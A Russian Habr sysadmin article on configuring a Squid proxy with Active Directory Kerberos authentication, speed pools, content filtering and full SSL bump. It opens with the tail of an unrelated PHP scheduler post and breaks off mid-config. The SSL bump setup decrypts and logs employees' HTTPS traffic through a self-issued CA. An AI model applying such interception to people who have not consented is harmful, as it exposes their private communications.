getAction ( void ) public string getType ( void ) } ``` Вызвав `\Scheduler\Action\Report::getReport()` можно получить результат выполнения callable (возвращенное им значение). В случае, если при выполнении задачи было брошено исключение, `\Scheduler\Action\Report::getReport()` вернет то самое исключение. Метод `\Scheduler\Action\Report::getAction()` вернет экземпляр типа `\Scheduler\Action\ActionInterface`, который описывает выполненное действие. Используя его можно узнать время выполнения действия или получить само действие (Job). Так же стоит обратить внимание, что если запланированная задача должна была выполниться более одного раза (например если в RRULE был использован интервал `MINUTELY`, и разница между `$from` и `$to`, переданным в `JobRunner` 10 минут), то действие будет выполнено несколько раз. Другими словами они не будут сгруппированы. Вот, пожалуй, и все. Библиотека действительно мала, но надеюсь окажется кому-либо полезной. Конструктивная критика и помощь в развитии приветствуются. [GitHub](https://github.com/hutnikau/job-scheduler) [packagist](https://packagist.org/packages/hutnikau/job-scheduler)
https://habr.com/ru/post/345802/
null
ru
null
# Настройка squid или как не купить платное решение ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/e33/bc4/094/e33bc4094bb45332c7eac9eb61d738d9.png) Всем привет! Часто в организациях используем разного рода прокси, прокси как составляющая программного шлюза или самостоятельный классический вариант squid + анализатор логов и т.п. Мы пытались внедрить решение от Ideco и ИКС, в итоге остановились на squid. Под катом история пути и техническая информация по настройке старого доброго кальмара. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/ebe/854/cd3/ebe854cd397e4a7c5b182ced385972c4.png) Начну пожалуй с того, что конечно странно на habr в 2018 году видеть статью про настройку squid, но тем не менее, даже в нынешние время платные продукты могут уступать по некоторым пунктам open source софту который так или иначе лежат в основе платного продукта с красивым интерфейсом. Всё началось с того, что руководство дало ясно понять что мы можем позволить себе купить интернет биллинг. Требования следующие: интеграция в Windows AD, полное управление пользователями из AD, шейпер скорости, фильтрация по типу контента, по спискам сайтов, возможность дать доступ всей сети к локальным ресурсам компании. В сети компании насчитывается свыше 550 компьютеров. Большинству из них нужен доступ к внутренним ресурсам. Все разворачивалось в виртуальной среде, сервер виртуализации Hyper-v core — Неверный выбор, о причинах изложу в конце статьи. Немного о выборе конкурсантов, UserGate помню его из времен начала работы в IT, по старой памяти приложение windows — по умолчанию не подходит. Интернет Контроль Сервер (ИКС)- дело дошло до тестов. Удалось корректно загрузить из 10 только 2 раза, отмечая его отличную нестабильность пошли дальше. К стати, не могу не отметить юмор разработчиков, кто в курсе тот поймет! Продукт развивается, может быть уже проблем нет, но и задача решена. Ideco — мне понравилось, отличное решение, но в функционал включен не только интернет биллинг, это полноценный шлюз со всеми плюшками, для нас лишнее. Но тем не менее он прошел полный тест, возникло 2 непреодолимых препятствия: **1.** Невозможно дать доступ к определенным ресурсам всей сети или всем пользователям домена — по умолчанию не считая таких пользователей за пользователя которого нужно лицензировать. **1.1** — Из пункта 1 вытекает немалая цена, т.к. у нас в компании довольно много компьютеров которым необходимо подключение к внутренним web сервисам и не нужен доступ в интернет, покупать лицензии для использования внутренних ресурсов мы не планировали, также не планировали разводить зоопарк серверов раздающих интернет. **2.** IP адрес компьютера жестко привязывается к имени пользователя который первый прошел аутентификацию на прокси, так при смене сотрудника нужно было в админ. панели удалять привязку в ручном режиме, что конечно не отвечает требованию управлять всем через AD. Кстати, шлюз ideco доступен в бесплатной версии до 40 пользователей и без привязки к AD. Также появился IDECO SELECTA, или я не заметил его выпуска или он был выпущен уже после всех тестов. После всех пройденных этапов было решено своими силами сделать все на squid но с поправкой на наши технические требования, что из этого получилось читайте далее. Начнем с того, что корректных и полных мануалов в сети нет, есть некоторые части, но все инструкции сводились на нет новыми релизами сквида. Мы используем ubuntu server, следовательно следующая информация актуальна для этой ОС и с другими ОС может серьёзно различаться. Все в командной строке нужно делать из под sudo, далее дописывать перед каждой командой sudo не буду. Настройка OS ubuntu server 16.04: ``` apt-get update apt-get upgrade apt-get install mc g++ libecap3-dev libdb-dev libldap2-dev libpam0g-dev libldb-dev libsasl2-dev libkrb5-dev gcc libssl-dev krb5-user libpam-krb5 libkrb5-3 libsasl2-modules-gssapi-mit linux-virtual-lts-xenial linux-tools-virtual-lts-xenial linux-cloud-tools-virtual-lts-xenial linux-image-virtual linux-tools-virtual linux-cloud-tools-virtual squid3 ``` Т.к. мы используем Hyper-v виртуализацию то мы установили необходимые пакеты. Качаем с оф сайта сквид, в данном посте разбираем версию 3.5.26, для других версии возможно будет неактуально. UPD в докере настроил 3.5.28 полет нормальный. ``` wget http://www.squid-cache.org/Versions/v3/3.5/squid-3.5.26.tar.gz ``` Распаковываем в home или любой другой каталог. ``` tar xzf squid-3.5.26.tar.gz cd /home/squid-3.5.26/ ``` ``` chmod +x configure ``` Указываем какие пакеты нам нужны, можете ненужное удалить или что-то добавить. Кому-то покажется что тут куча лишнего. Список взять из установленной версии сквида и добавлены дополнительные пакеты. ``` ./configure '--enable-ssl' '--with-openssl=/usr/lib/ssl/' '--disable-ipv6' '--enable-ssl-crtd' '--build=x86_64-linux-gnu' '--prefix=/usr' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--libexecdir=${prefix}/lib/squid3' '--srcdir=.' '--disable-maintainer-mode' '--disable-dependency-tracking' '--disable-silent-rules' 'BUILDCXXFLAGS=-g -O2 -fPIE -fstack-protector-strong -Wformat -Werror=format-security -Wl,-Bsymbolic-functions -fPIE -pie -Wl,-z,relro -Wl,-z,now' '--datadir=/usr/share/squid' '--sysconfdir=/etc/squid' '--libexecdir=/usr/lib/squid' '--mandir=/usr/share/man' '--enable-inline' '--disable-arch-native' '--enable-async-io=8' '--enable-storeio=ufs,aufs,diskd,rock' '--enable-removal-policies=lru,heap' '--enable-delay-pools' '--enable-cache-digests' '--enable-icap-client' '--enable-follow-x-forwarded-for' '--enable-auth-basic=DB,fake,getpwnam,LDAP,NCSA,NIS,PAM,POP3,RADIUS,SASL,SMB' '--enable-auth-digest=file,LDAP' '--enable-auth-negotiate=kerberos,wrapper' '--enable-auth-ntlm=fake,smb_lm' '--enable-external-acl-helpers=file_userip,kerberos_ldap_group,LDAP_group,session,SQL_session,unix_group,wbinfo_group' '--enable-url-rewrite-helpers=fake' '--enable-eui' '--enable-esi' '--enable-icmp' '--enable-zph-qos' '--enable-ecap' '--disable-translation' '--with-swapdir=/var/spool/squid' '--with-logdir=/var/log/squid' '--with-pidfile=/var/run/squid.pid' '--with-filedescriptors=65536' '--with-large-files' '--with-default-user=proxy' '--enable-build-info=Ubuntu linux' '--enable-linux-netfilter' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -fPIE -fstack-protector-strong -Wformat -Werror=format-security -Wall' 'LDFLAGS=-Wl,-Bsymbolic-functions -fPIE -pie -Wl,-z,relro -Wl,-z,now' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2' 'CXXFLAGS=-g -O2 -fPIE -fstack-protector-strong -Wformat -Werror=format-security' make make install ``` --with-openssl=/usr/lib/ssl/ — указываем путь до openssl, указан дефолтный путь в ubuntu server. --disable-ipv6 — выключаем ipv6 — о причинах читайте ниже. --enable-ssl-crtd — это для связки генерации ssl сертификатов для bump. Возможно будут зависимости, нужно их установить. По умолчанию все устанавливается в /etc/squid/ Создаем папку внутри /etc/squid для ssl сертификатов: ``` mkdir /etc/squid/ssl/private ``` Создаем сертификат: Переходим в каталог ``` cd mkdir /etc/squid/ssl/private ``` Создаем ключ ``` openssl genrsa -aes256 -out private.pem 2048 ``` Создаем сертификат ``` openssl req -x509 -sha256 -nodes -days 3650 -newkey rsa:2048 -keyout private.pem -out public.pem ``` Конвертируем сертификат в понятный для браузера формат ``` openssl x509 -outform der -in public.pem -out squid3domainlocal.der ``` Создаем базу сертификатов: ``` /usr/lib/squid/ssl_crtd -c -s /etc/squid/ssl/ssl_db/ ``` Назначаем доступ: ``` chown root:proxy -R /etc/squid/ssl chmod 640 -R /etc/squid/ssl/private chmod 660 -R /etc/squid/ssl/ssl_db ``` Обращаю Ваше внимание на то, что имя прокси сервера и имя указанное при создании сертификата должно быть одинаковое. Формат squid3.domain.local. Полученный squid3domainlocal.der через групповые политики или вручную вносим в доверенные центры сертификации. Прокси сервер в браузере указываем не ip а полное имя компьютера, к примеру squid3.domain.local. Создаем обычного пользователя в домене, пусть будет squid3. Для прохождения аутентификации через kerberos нам нужен keytab пользователя squid3 для principal HTTP/squid3.DOMAIN.LOCAL@DOMAIN.LOCAL, при стандартном входе в домен через net ads создается keytab /etc/krb5.keytab, но в нем указаны principal не http а host. Что делает невозможным проходить аутентификацию пользователей через web браузер. Если Вы расположили keytab в /etc/krb5.keytab и после вводите в домен саму машину, то keytab просто будет дополнен новыми principal.Но обращаю Ваше внимание на то, что устанавливать пакет samba и вводить машину в домен не нужно, достаточно сгенерированного keytab для пользователя. Далее идем на домен контроллер и выполняем нехитрую команду: ``` ktpass -princ HTTP/squid3.DOMAIN.LOCAL@DOMAIN.LOCAL mapuser squid3@DOMAIN.LOCAL -crypto AES128-SHA1 -pass XXXXXXXXXXXXXX -ptype KRB5_NT_PRINCIPAL -out c:\krb5.keytab ``` Переносим полученный файл на прокси сервер и далее помещаем в удобное расположение, я выбираю /etc/krb5.keytab. Если Вы хотите сделать авторизацию еще и для web сайта, статистика или внутренний портал компании то нужно создать группу и включить туда пользователей proxy и www-data. Создаем группу: ``` groupadd allowreadkeytab ``` Добавляем необходимых пользователей в группу: ``` adduser proxy allowreadkeytab adduser www-data allowreadkeytab ``` Назначаем владельцев на krb5.keytab ``` chown root:allowreadkeytab /etc/krb5.keytab ``` Если нет необходимости дополнительным сервисам давать доступ, то группу не создаем, просто выставляем владельцев и права: ``` chown root:proxy /etc/krb5.keytab ``` Назначаем доступ: ``` chmod 640 /etc/krb5.keytab ``` Получаем: ``` -rw-r----- 1 root allowreadkeytab /etc/krb5.keytab ``` Или ``` -rw-r----- 1 root proxy /etc/krb5.keytab ``` Чтение и запись для root, только чтение для allowreadkeytab и без доступа для остальных. Настраиваем krb5.conf ``` mcedit /etc/krb5.conf ``` **krb5.conf** ``` [libdefaults] krb4_config = /etc/krb.conf krb4_realms = /etc/krb.realms kdc_timesync = 1 ccache_type = 4 forwardable = true proxiable = true default_tgs_enctypes = aes256-cts-hmac-sha1-96 rc4-hmac des-cbc-crc des-cbc-md5 default_tkt_enctypes = aes256-cts-hmac-sha1-96 rc4-hmac des-cbc-crc des-cbc-md5 permitted_enctypes = aes256-cts-hmac-sha1-96 rc4-hmac des-cbc-crc des-cbc-md5 default_keytab_name = FILE:/etc/krb5.keytab v4_instance_resolve = false v4_name_convert = { host = { rcmd = host ftp = ftp } plain = { something = something-else } } fcc-mit-ticketflags = true [realms] DOMAIN.LOCAL = { kdc = DC1.DOMAIN.LOCAL kdc = DC2.DOMAIN.LOCAL admin_server = DC1.DOMAIN.LOCAL admin_server = DC2.DOMAIN.LOCAL default_domain = DOMAIN.LOCAL } [domain_realm] .domain.local = domain.LOCAL domain.local = domain.LOCAL [login] krb4_convert = true krb4_get_tickets = false ``` Сохраняем. Обращаю Ваше внимание, что ниже squid.conf не будет содержать все acl и все правила, будут лишь по 1 примеру настройки, полная настройка acl и листами доступа к сайтам и т.п. будет слишком объемной. Ниже приведенный конфиг можно рассматривать как требующий доработки под свои нужды. Переходим к настройке squid: ``` mcedit /etc/squid/squid.conf acl SSL_ports port 443 acl Safe_ports port 80 acl Safe_ports port 21 acl purge method PURGE acl CONNECT method CONNECT http_access allow purge localhost http_access deny purge http_access deny CONNECT !SSL_ports ``` Тут важный момент, есть сайты которые поднимают соединение непосредственно с «компьютером», и аутентификация пользователя не производится. Как следствие происходит блокировка соединения. Для обхода этой проблемы дается доступ конкретному ip к конкретному сайту. **!!! Важное примечание !!!** Правило должно быть расположено выше правил с аутентификацией basic, ntlm, kerberos и др. ``` acl authip src "/etc/squid/pools/ip.txt" acl domainautip dstdomain "/etc/squid/exceptions/domain.txt" http_access allow authip domainautip http_reply_access allow authip domainautip ``` Определяем aclы: → [Документация](http://www.squid-cache.org/Doc/config/acl/) Acl для определения типа контента: acl application\_mime rep\_mime\_type application/octet-stream acl video\_mime rep\_mime\_type "/etc/squid/ban/mime\_type\_video.txt" **mime\_type\_video.txt**video/mpeg video/mp4 video/ogg video/quicktime video/webm video/x-ms-wmv video/x-flv video/3gpp video/3gpp2 video/avi video/msvideo video/x-msvideo video/x-dv video/dl video/x-dl video/vnd.rn-realvideo Также фильтровать некоторый контент можно по url, для этого создаем acl: acl blockextention urlpath\_regex -i "/etc/squid/ban/blockextention.txt" **blockextention.txt**\.snapshot$ \.windows$ \.mac$ \.zfs$ \.action$ \.apk$ \.app$ \.bat$ \.bin$ \.cmd$ \.com$ \.command$ \.cpl$ \.csh$ \.exe$ \.gadget$ \.inf1$ \.ins$ \.inx$ \.ipa$ \.isu$ \.job$ \.ksh$ \.msc$ \.msi$ \.msp$ \.mst$ \.osx$ \.out$ \.paf$ \.reg$ \.rgs$ \.run$ \.sct$ \.sh$ \.shb$ \.shs$ \.u3p$ \.vb$ \.vbe$ \.vbs$ \.vbscript$ \.workflow$ \.ws$ \.wsf$ \.bin$ \.inf$ \.com$ \.cpp$ \.msu$ \.pif$ \.7z$ \.ace$ \.arj$ \.cab$ \.cbr$ \.deb$ \.gz$ \.gzip$ \.jar$ \.one$ \.pak$ \.ppt$ \.rpm$ \.sib$ \.sis$ \.sisx$ \.sit$ \.sitx$ \.spl$ \.tar$ \.tar-gz$ \.tgz$ \.xar$ \.zipx$ \.asf$ \.asm$ \.c$ \.cfm$ \.cgi$ \.class$ \.cpp$ \.cs$ \.dot$ \.dtd$ \.fla$ \.ged$ \.gv$ \.h$ \.icl$ \.java$ \.jse$ \.kml$ \.lua$ \.m$ \.mb$ \.mdf$ \.mod$ \.obj$ \.pkg$ \.pl$ \.po$ \.pot$ \.ps1$ \.pub$ \.py$ \.rss$ \.sln$ \.so$ \.sql$ \.ts$ \.vc4$ \.vcproj$ \.vc4$ \.vcproj$ \.vcxproj$ \.wsc$ \.xcodeproj$ \.xsd$ \.torrent$ Есть еще любопытный acl allowerrorsert, т.к. мы не разрешаем по умолчанию доступ к сайтам с кривыми сертификатами, я использую allowerrorsert для определения перечня разрешенных сайтов с «кривыми» ssl. Об этом не много ниже. ``` acl banksites dstdomain "/etc/squid/allow/bank.txt" acl allofficesites dstdomain "/etc/squid/allow/alloffice.txt" acl manual dstdomain "/etc/squid/ban/manual.txt" acl allowerrorsert dstdomain "/etc/squid/exceptions/allowerrorsert.txt" ``` Также есть возможность управлять доступом к сайтам на основе ssl правил, но на мой взгляд эффективнее управлять через http\_access. Вот пример acl для использования в правилах ssl: ``` acl sslproxy ssl::server_name "/etc/squid/ban/proxy.txt" ``` Ниже мы еще вернемся к этому типу acl и их применению. Позволяет видеть в расширенном режиме запросы POST и mime. ``` strip_query_terms off log_mime_hdrs on ``` Аутентификация и авторизация пользователя в группе active direcory через kerberos: ``` auth_param negotiate program /usr/lib/squid/negotiate_kerberos_auth -s HTTP/squid3.domain.local@DOMAIN.LOCAL auth_param negotiate children 20 startup=10 idle=10 auth_param negotiate keep_alive on ``` Тут следует остановиться и разобрать подробнее, children — максимальное количество процессов доступные для запуска, startup количество процессов которые запущены всегда, idle максимальная очередь к помощнику при превышении указанного числа будет запускаться новый процесс помощника. Небольшое отступление по работе авторизации: Тут есть особенность, дело в том, что некоторые сайты пытаются подключить вагон разных ресурсов и картинок с других сайтов, собрать кучу статистики и прочее, каждый запрос проходит авторизацию это может вызвать большую очередь к процессу помощника авторизации, можно просто увеличить children, увеличить idle… но это только на первый взгляд, запросов от 1 пользователя может быть несколько десятков тысяч, что за собой несет большую очередь. При появлении большой очереди нагрузка на CPU зашкаливает. В условиях большого количества пк и малой доли пользователей с полноценным доступом в интернет, установленный на пк chrome создавал прям удивительное количество соединений — 500 тыс. запросов на clients1.google.com в сутки. Как следствие были пики очередей. Подробности решения в конце статьи, где будут описаны некоторые технические моменты решение возникших проблем в процессе отладки. Поиск пользователя в группе: ``` external_acl_type domainusers ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -T d09fd0bed0bbd18cd0b7d0bed0b2d0b0d182d0b5d0bbd0b820d0b4d0bed0bcd0b5d0bdd0b0 -D DOMAIN.LOCAL external_acl_type allow-all ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-allow-all -D DOMAIN.LOCAL ``` Две строки выше выполняю 1 функцию, загружают помощника для поиска пользователя в группе, можете сами выполнить в командной строке /usr/lib/squid3/ext\_kerberos\_ldap\_group\_acl -a -g internet-allow-all -D DOMAIN.LOCAL жмем enter и набираем имя пользователя, если пользователь будет найден в указанной группе, то ответ будет OK если нет то ERR. Обращаю внимание на то, что указанная группа internet-allow-all создана в AD. Если Вы обратили внимание, то две строки отличаются, в 1 непонятный набор букв и цифр во второй все ясно… В первой строке указана группа «Пользователи домена», не желая разбираться с кириллицей в конфиге сквида и работе хелпера, я решил сделать так, это единственная группа в AD которая связана с этим сервисом имя которой написано кириллицей. Синтаксис тоже изменен, с g что означает группу на T. Обещал рассказать почему отключил ipv6, это была длинная история, не шла авторизация у пользователя потому что я не указал в строке external\_acl\_type.......**ipv4** т.к. мы не используем ipv6 да и мало кто использует в локальных сетях решено было вообще отключить чтобы избежать подобных проблем. На сёрфинге интернета это тоже никак не отражается. Группы для ограничения скорости: ``` external_acl_type disable-speed ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-deny-speed -D DOMAIN.LOCAL external_acl_type allow-speed ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-allow-speed -D DOMAIN.LOCAL ``` internet-allow-speed — Группа созданная в AD. Так как группы и пользователей мы получаем из внешнего хелпера, нам нужно определить acl в синтаксисе squid для работы http\_access и т.д. ``` acl domainusers external domainusers acl allow-all external allow-all acl allow-speed external allow-speed acl disable-speed external disable-speed ``` Далее следуют разрешающие и блокирующие правила. Правила работают как обычно по цепочке, все что cверху имеет большее значение. ``` http_access allow localhost http_access deny manual http_reply_access deny application_mime http_access allow allow-all http_reply_access allow allow-all http_access allow domainusers banksites http_access deny domainusers ``` Тут начинается bump, в строке http\_port указываем порт и указываем функцию ssl-bump далее включаем генерацию сертификатов, далее размер кеша, далее указываем сам сертификат к слову который добавлен в качестве доверенного центра сертификации на компьютерах домена, далее ключ. Схема работы следующая, клиент заходит на сайт [google.com](https://google.com), клиент устанавливает соеденение ssl с прокси, а прокси в свою очередь с сайтом, прокси поднимает ssl с сайтом и отдельно ssl с клиентом выступая при этом посредником. эта схема при полном бампе соединения, можно разбирать не полностью, а только для 1 из сторон, я не нашел этому применения, поэтому мы это не используем. К тому же чтобы видеть весь трафик открыто, как http, подходит только эта схема. ``` http_port 3128 ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=16MB cert=/etc/squid/ssl/private/public.pem key=/etc/squid/ssl/private/private.pem ``` настройки помощника который генерирует ssl сертификаты для сайтов: ``` sslcrtd_program /usr/lib/squid/ssl_crtd -s /etc/squid/ssl/ssl_db -M 16MB sslcrtd_children 20 startup=10 idle=10 visible_hostname = squid3.domain.local ``` Cоздаем acl с шагами bump, существует всего 3 шага, sslbump1 смотрит на открытую информацию в сертификате, та которая доступна всем. sslbump2 создает соединение с сайтом sslbump3 создает соединение с клиентом. ``` acl step1 at_step SslBump1 acl step2 at_step SslBump2 acl step3 at_step SslBump3 ``` Указываем acl которые будут внесены в исключения при работе с sslbump ``` acl sslbanksites ssl::server_name "/etc/squid/exceptions/bank.txt" acl allowsplice ssl::server_name "/etc/squid/exceptions/allowsplice.txt" ``` В bank.txt и allowsplice.txt находятся имена доменов. Это правило разрешает принимать сертификаты с ошибкой, т.e. просроченный, самоподписанный, выданных на другой хост и т.п. Мы создавали acl для этого правила выше. ``` sslproxy_cert_error allow allowerrorsert ``` splice — пропустить все последующие действия т.е. не делать bump пропустить как есть. peek — подсмотреть доступную инфу без полного бампа terminate — закрыть соединение, не используем, фильтруем через http\_access bump — «влезает» в соединение, делает https видимым как http ``` ssl_bump splice allowsplice ssl_bump splice sslbanksites ssl_bump peek step1 all ssl_bump bump step2 all ssl_bump bump step3 all ``` Закрываем доступ всем. ``` http_access deny all icp_access deny all htcp_access deny all ``` Прочие настройки ``` cache deny all error_directory /etc/squid/errors/ forwarded_for off ``` Режем скорость, указываем сколько пулов задержки мы используем: ``` delay_pools 3 ``` VIP-пользователи, избранные сайты без ограничений по скорости ``` delay_class 1 1 delay_access 1 allow allow-speed delay_access 1 allow banksites delay_parameters 1 -1/-1 delay_access 1 deny all ``` В нерабочее время — Интернет отключается (до 100КБ/сек.) ``` delay_class 2 2 delay_access 2 allow !workhours delay_parameters 2 -1/-1 10000/10000 delay_access 2 deny all ``` Ограничение на закачку — до 10MB загружают весь канал без ограничений, свыше только 100 КБ/С ``` delay_class 3 2 delay_access 3 allow disable-speed delay_parameters 3 -1/-1 32000/10485760 delay_access 3 deny all ``` В синтаксисе лога изменена буква a на большую A, вот тут: %6tr %>A. Это дает возможность в логах видеть имя компьютера вместо его IP адреса, что конечно удобней. ``` logformat squid %ts.%03tu %6tr %>A %Ss/%03>Hs % ``` Не много о проблемах и об особенностях которые возникали. Прокси сервер выведен в отдельную dmz, файрволом жестко ограничен доступ в dmz и из нее. Т.к. сквид постоянно опрашивает dns и kerberos по udp преимущественно, то он незамедлительно превышал допустимое количество подключений с 1 ip, на сервер AD который находится в другой dmz, соединения сбрасывались. Проблема была неочевидная, хелпер авторизации падал, клиент получал окно аутентификации. Ошибка выглядит так: support\_krb5.cc(64): pid=36139 :2017/10/24 08:53:51| kerberos\_ldap\_group: ERROR: Error while initializing credentials from keytab: Cannot contact any KDC for realm 'DOMAIN.LOCAL' Решили проблему подняв bind на прокси сервере, количество запросов значительно уменьшилось. В целом можно было отключить ограничения на файрволе, что собственно и сделали, но bind всё же хорошая идея позволяющая значительно снизить количество соединений. Была еще 1 ошибка: support\_sasl.cc(276): pid=8872 :2017/10/24 06:26:31| kerberos\_ldap\_group: ERROR: ldap\_sasl\_interactive\_bind\_s error: Local error support\_ldap.cc(957): pid=8872 :2017/10/24 06:26:31| kerberos\_ldap\_group: ERROR: Error while binding to ldap server with SASL/GSSAPI: Local error В bind нужно скопировать обратную зону. **UPD** — Самое интересное Возникла проблема с высокой нагрузкой на cpu и io, проц грузил в основном negotiate\_kerberos io грузил ext\_kerberos\_ldap\_group\_acl, понятное дело что negotiate\_kerberos запускал ext\_kerberos\_ldap\_group\_acl, нагрузка была не постоянная, два раза в день по 30 минут. Изменение соотношения количества children и idle нужного результата не дало. В процессе отладки была ясная картина, при любой конфигурации в период пиков запускалось максимальное количество процессов аутентификации. Был проанализирован access.log, как результат анализа было выделено то, что в момент пиковой нагрузки было очень много ssl соединений, это натолкнуло на мысль что проблема кроется не в авторизации а в ssl\_bump, для эксперимента был отключен ssl\_bump, как результат было полное отсутствие нагрузки на протяжении всего дня. В целом в течении дня работа кальмара и его помощников не вызывала нарекании, но в определенные моменты приходило огромное количество соединений, сухие цифры: от 1 компьютера в единицу времени (5-15 мин) пришло 10000 запросов на ssl соединение которое попадает под правило bump. В другой день тоже самое с другого компьютера на .\*whatsapp.net. В конечном итоге ssl\_bump включен, работает без нареканий. Если идет куча запросов на хост который недоступен по таймауту, вот тут возникают пики. На уменьшение очереди в основном повлияло исключение clients1.google.com и clients2.google.com из прокси. Решать дать доступ к clients1.google.com и clients2.google.com, отключить задание на обновление или исключить эти хосты из прокси решать Вам. Относительно hyper-v, в целом всё работает стабильно, uptime обычно превышает два месяца, но наступает тот день когда абсолютно на ровном месте без ошибок в логах и какой-либо нагрузки зависают виртуальные машины или выполняется их перезагрузка, но при этом последующая загрузка не приводит загрузке рабочего состояния. Приходится делать сброс и последующая загрузка производится нормально, прошу прощения за тавтологию. При всех равных на указанном сервере крутится две виртуалки ubuntu server 16.04 и у обоих происходит ода и та же проблема с разницей между ними в несколько дней, потом опять uptime не менее 2 месяцев. Для решения этой проблемы переносим сквид в докер, следующую статью оформлю про настройку сквида в докере, в целом мало чем отличается кроме целой кучи зависимостей. Настройка bind: ``` nano /etc/bind/named.conf.options ``` Редактируем и вставляем: ``` zone "domain.local" { type slave; masters { 192.168.XX.XX; 192.168.XX.XX;}; file "bak.domain.local"; forwarders {}; zone "XX.168.192.in-addr.arpa" { type slave; masters { 192.168.XX.XX; 192.168.XX.XX;}; file "XX.168.192.in-addr.arpa.zone"; }; ``` Анализатор логов: **Squidanalyzer** → [Сайт](http://squidanalyzer.darold.net/) → Инструкции: [раз](http://squidanalyzer.darold.net/install.html) и [два](http://squidanalyzer.darold.net/config.html) Для его работы нужно установить apache2: ``` apt-get install apache2 ``` Рассказывать о том, как настаивать его не буду, по ссылкам довольно понятно и доступно. Обращу внимание лишь на одно, пока не будет сгенерирован первый отчет — по web адресу ничего не появится, будет ошибка. Как только будет сформирован первый отчет, Вы получите заветную страничку с отчетами. Стоит отметить что страницу с отчетами можно стилизовать под Вашу компанию, сменить логотипы, подписи, фон и т.п. Часть следует менять в основном конфиге: /etc/squidanalyzer/squidanalyzer.conf И в скрипте который является шаблоном для /usr/bin/squid-analyzer: /usr/local/share/perl/5.22.1/SquidAnalyzer.pm Статья писалась с перерывами, периодически дополнялась и корректировалась, надеюсь она будет полезна. Ниже листинг подчищенного конфига, его следует использовать как образец, не подлежит копипасту, это не даст рабочий экземпляр, нужно создавать файлы которые указаны в acl, заполнять их и т.д. В процессе отладки очень помог awk, команда которая выводит и группирует столбцы: ``` cat /var/log/squid/access.log | awk '{print $номерстолбца}' | cut -d: -f1 | sort | uniq -c | sort -n ``` Можно добавлять grep. Для конвертации формата даты и времени в логе кальмара можно использовать: %tl %6tr %>A %Ss/%03>Hs % **squid.conf** ``` acl SSL_ports port 443 acl SSL_ports port 80 acl Safe_ports port 88 acl Safe_ports port 443 acl purge method PURGE acl CONNECT method CONNECT acl blockip src "/etc/squid/ban/blockip.txt" http_access deny blockip http_reply_access deny blockip acl allnet src 192.168.XX.0/18 acl allnet src 192.168.0.0/24 acl javaapletclient src "/etc/squid/pools/javaaplet.txt" acl javaapletdomain dstdomain "/etc/squid/exceptions/javaaplet.txt" acl microsoftcrt url_regex -i "/etc/squid/exceptions/microsoftCRT.txt" http_access allow javaapletclient javaapletdomain http_access allow allnet microsoftCRT http_reply_access allow allnet microsoftCRT http_access deny allnet manual http_access allow purge localhost http_access deny purge http_access deny CONNECT !SSL_ports acl application_mime rep_mime_type "/etc/squid/ban/mime_type_application.txt" acl audio_mime rep_mime_type "/etc/squid/ban/mime_type_audio.txt" acl video_mime rep_mime_type "/etc/squid/ban/mime_type_video.txt" acl blockextention urlpath_regex -i "/etc/squid/ban/blockextention.txt" acl blockextention2 urlpath_regex -i "/etc/squid/ban/blockextention2.txt" acl allowextention urlpath_regex -i "/etc/squid/exceptions/allowextention.txt" acl others src 192.168.XX.0/20 192.168.XX.0/18 192.168.XX.0/24 acl localnet dst 192.168.0.0/24 acl workhours time 7:00-18:59 strip_query_terms off log_mime_hdrs on acl manual_reg url_regex -i "/etc/squid/ban/manual_url.txt" acl banner_reg url_regex -i "/etc/squid/ban/adv/urls" acl dating_reg url_regex -i "/etc/squid/ban/dating/urls" acl redirector_reg url_regex -i "/etc/squid/ban/redirector/urls" acl porno_reg url_regex -i "/etc/squid/ban/porn/urls" acl shopping_reg url_regex -i "/etc/squid/ban/shopping/urls" acl socialnet_reg url_regex -i "/etc/squid/ban/socialnet/urls" acl spyware_reg url_regex -i "/etc/squid/ban/spyware/urls" acl allowerrorsert dstdomain "/etc/squid/exceptions/allowerrorsert.txt" auth_param negotiate program /usr/lib/squid/negotiate_kerberos_auth -s HTTP/squid3.DOMAIN.local@DOMAIN.LOCAL auth_param negotiate children 50 startup=15 idle=15 auth_param negotiate keep_alive on external_acl_type domainusers ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -T d09fd0bed0bbd18cd0b7d0bed0b2d0b0d182d0b5d0bbd0b820d0b4d0bed0bcd0b5d0bdd0b0 -D DOMAIN.LOCAL external_acl_type allow-all ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-allow-all -D DOMAIN.LOCAL external_acl_type allow-speed ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-allow-speed -D DOMAIN.LOCAL external_acl_type standart ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-standart -D DOMAIN.LOCAL external_acl_type bankusers ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-bank -D DOMAIN.LOCAL external_acl_type disable-speed ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-deny-speed -D DOMAIN.LOCAL external_acl_type allowformat ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-allowFormat -D DOMAIN.LOCAL external_acl_type denyformat ttl=300 negative_ttl=60 ipv4 %LOGIN /usr/lib/squid3/ext_kerberos_ldap_group_acl -a -g internet-denyFormat -D DOMAIN.LOCAL acl domainusers external domainusers acl allow-all external allow-all acl allow-speed external allow-speed acl standart external standart acl bankusers external bankusers acl disable-speed external disable-speed acl allowformat external allowformat acl denyformat external denyformat http_access deny blockextention denyformat http_access deny blockextention2 allowformat 